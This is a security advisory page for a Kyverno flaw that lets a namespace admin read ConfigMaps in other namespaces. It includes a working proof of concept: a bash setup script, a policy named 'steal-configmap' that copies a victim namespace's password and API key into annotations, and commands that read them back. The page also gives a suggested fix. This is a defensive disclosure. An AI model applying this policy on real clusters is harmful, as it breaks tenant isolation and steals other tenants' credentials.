GHSA-CVQ5-HHX3-F99P

Vulnerability from github – Published: 2026-04-16 21:35 – Updated: 2026-07-21 14:03
VLAI
Summary
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
Details

Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

Details

Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.

Code path comparison:

CVE-2026-22039 (fixed) This vulnerability (unfixed)
Location apiCall.URLPath field configMap.namespace field
Code path apicall.Fetch() → namespace regex validation configmap.NewConfigMapLoader() → no validation
Root cause Variable substitution + missing validation Same pattern, still unpatched

Exploit mechanism: 1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC) 2. Policy uses context.configMap.namespace: "victim-ns" to reference another namespace 3. Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap 4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.

PoC

Full reproduction (5 minutes on kind):

#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns

# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
    --from-literal=db-password="s3cr3t-p4ssw0rd" \
    --from-literal=api-key="AKIAIOSFODNN7EXAMPLE"

# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
    --resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
    --as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)

Exploit policy:

# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: configmap-crossns-read
  namespace: attacker-ns
spec:
  rules:
  - name: steal-configmap
    match:
      any:
      - resources:
          kinds: [ConfigMap]
          names: ["trigger-cm"]
    context:
    - name: stolendata
      configMap:
        name: "sensitive-config"
        namespace: "victim-ns"    # <-- NO VALIDATION
    mutate:
      patchStrategicMerge:
        metadata:
          annotations:
            exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
            exfil-api-key: "{{ stolendata.data.\"api-key\" }}"

Trigger and exfiltrate:

# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-cm
  namespace: attacker-ns
data:
  innocent: "data"
EOF

# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
#     "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
#     "exfil-db-password": "s3cr3t-p4ssw0rd"
# }

Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.

Impact

Severity: HIGH (CVSS 7.7)

Who is affected: - Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default) - Multi-tenant clusters where ConfigMaps contain sensitive data - Azure Kubernetes Service (AKS) and other managed K8s using Kyverno

Attack prerequisites: - Namespace admin privileges (standard RBAC in multi-tenant clusters) - Ability to create Kyverno Policy resources (default for namespace admins) - No cluster-admin required

What can be exfiltrated: - Any ConfigMap from any namespace - Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps

Why this matters: - Namespace isolation is a fundamental Kubernetes security boundary - Namespace admin is an expected, common RBAC level in production multi-tenant clusters - Violates the principle of least privilege and breaks multi-tenancy guarantees

Suggested fix: Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader(): 1. Pass policyNamespace to NewConfigMapLoader() 2. After variable substitution on namespace, validate resolved namespace == policyNamespace 3. Return error if validation fails

Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.

Tested versions: - Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix) - Helm chart: 3.7.0 - Kubernetes: v1.35.0 (kind)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:35:04Z",
    "nvd_published_at": "2026-04-24T04:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno\u0027s `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** \u2014 the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno\u0027s privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.\n\n### Details\n\n**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy\u0027s own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.\n\n**Code path comparison:**\n\n| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |\n|--|---|---|\n| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |\n| **Code path** | `apicall.Fetch()` \u2192 namespace regex validation | `configmap.NewConfigMapLoader()` \u2192 no validation |\n| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |\n\n**Exploit mechanism:**\n1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)\n2. Policy uses `context.configMap.namespace: \"victim-ns\"` to reference another namespace\n3. Kyverno\u0027s admission controller service account (has cluster-wide `view` role) fetches the ConfigMap\n4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations\n\n**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.\n\n### PoC\n\nFull reproduction (5 minutes on `kind`):\n\n```bash\n#!/bin/bash\n# Setup: kind cluster + Kyverno v1.17.0\nkind create cluster --name kyverno-poc --wait 60s\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait\n\n# Create attacker and victim namespaces\nkubectl create namespace attacker-ns\nkubectl create namespace victim-ns\n\n# Plant sensitive data in victim namespace\nkubectl create configmap sensitive-config -n victim-ns \\\n    --from-literal=db-password=\"s3cr3t-p4ssw0rd\" \\\n    --from-literal=api-key=\"AKIAIOSFODNN7EXAMPLE\"\n\n# Create namespace admin RBAC (standard multi-tenant setup)\nkubectl create serviceaccount ns-admin -n attacker-ns\nkubectl create rolebinding ns-admin-binding --clusterrole=admin \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\nkubectl create role kyverno-policy-creator --verb=create,get,list \\\n    --resource=policies.kyverno.io --namespace=attacker-ns\nkubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\n\n# Verify namespace admin CANNOT directly access victim-ns\nkubectl get configmap sensitive-config -n victim-ns \\\n    --as=system:serviceaccount:attacker-ns:ns-admin\n# Error: Forbidden (expected)\n```\n\n**Exploit policy:**\n```yaml\n# Apply as namespace admin\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: configmap-crossns-read\n  namespace: attacker-ns\nspec:\n  rules:\n  - name: steal-configmap\n    match:\n      any:\n      - resources:\n          kinds: [ConfigMap]\n          names: [\"trigger-cm\"]\n    context:\n    - name: stolendata\n      configMap:\n        name: \"sensitive-config\"\n        namespace: \"victim-ns\"    # \u003c-- NO VALIDATION\n    mutate:\n      patchStrategicMerge:\n        metadata:\n          annotations:\n            exfil-db-password: \"{{ stolendata.data.\\\"db-password\\\" }}\"\n            exfil-api-key: \"{{ stolendata.data.\\\"api-key\\\" }}\"\n```\n\n**Trigger and exfiltrate:**\n```bash\n# Trigger policy (as namespace admin)\nkubectl apply -f - \u003c\u003cEOF\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-cm\n  namespace: attacker-ns\ndata:\n  innocent: \"data\"\nEOF\n\n# Read exfiltrated secrets\nkubectl get configmap trigger-cm -n attacker-ns -o jsonpath=\u0027{.metadata.annotations}\u0027 \\\n    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool\n# Output:\n# {\n#     \"exfil-api-key\": \"AKIAIOSFODNN7EXAMPLE\",\n#     \"exfil-db-password\": \"s3cr3t-p4ssw0rd\"\n# }\n```\n\n**Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access.\n\n### Impact\n\n**Severity: HIGH (CVSS 7.7)**\n\n**Who is affected:**\n- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)\n- Multi-tenant clusters where ConfigMaps contain sensitive data\n- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno\n\n**Attack prerequisites:**\n- Namespace admin privileges (standard RBAC in multi-tenant clusters)\n- Ability to create Kyverno Policy resources (default for namespace admins)\n- No cluster-admin required\n\n**What can be exfiltrated:**\n- Any ConfigMap from any namespace\n- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps\n\n**Why this matters:**\n- Namespace isolation is a fundamental Kubernetes security boundary\n- Namespace admin is an expected, common RBAC level in production multi-tenant clusters\n- Violates the principle of least privilege and breaks multi-tenancy guarantees\n\n**Suggested fix:**\nApply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`:\n1. Pass `policyNamespace` to `NewConfigMapLoader()`\n2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace`\n3. Return error if validation fails\n\nAlso audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern.\n\n**Tested versions:**\n- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)\n- Helm chart: 3.7.0\n- Kubernetes: v1.35.0 (kind)",
  "id": "GHSA-cvq5-hhx3-f99p",
  "modified": "2026-07-21T14:03:44Z",
  "published": "2026-04-16T21:35:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41068"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…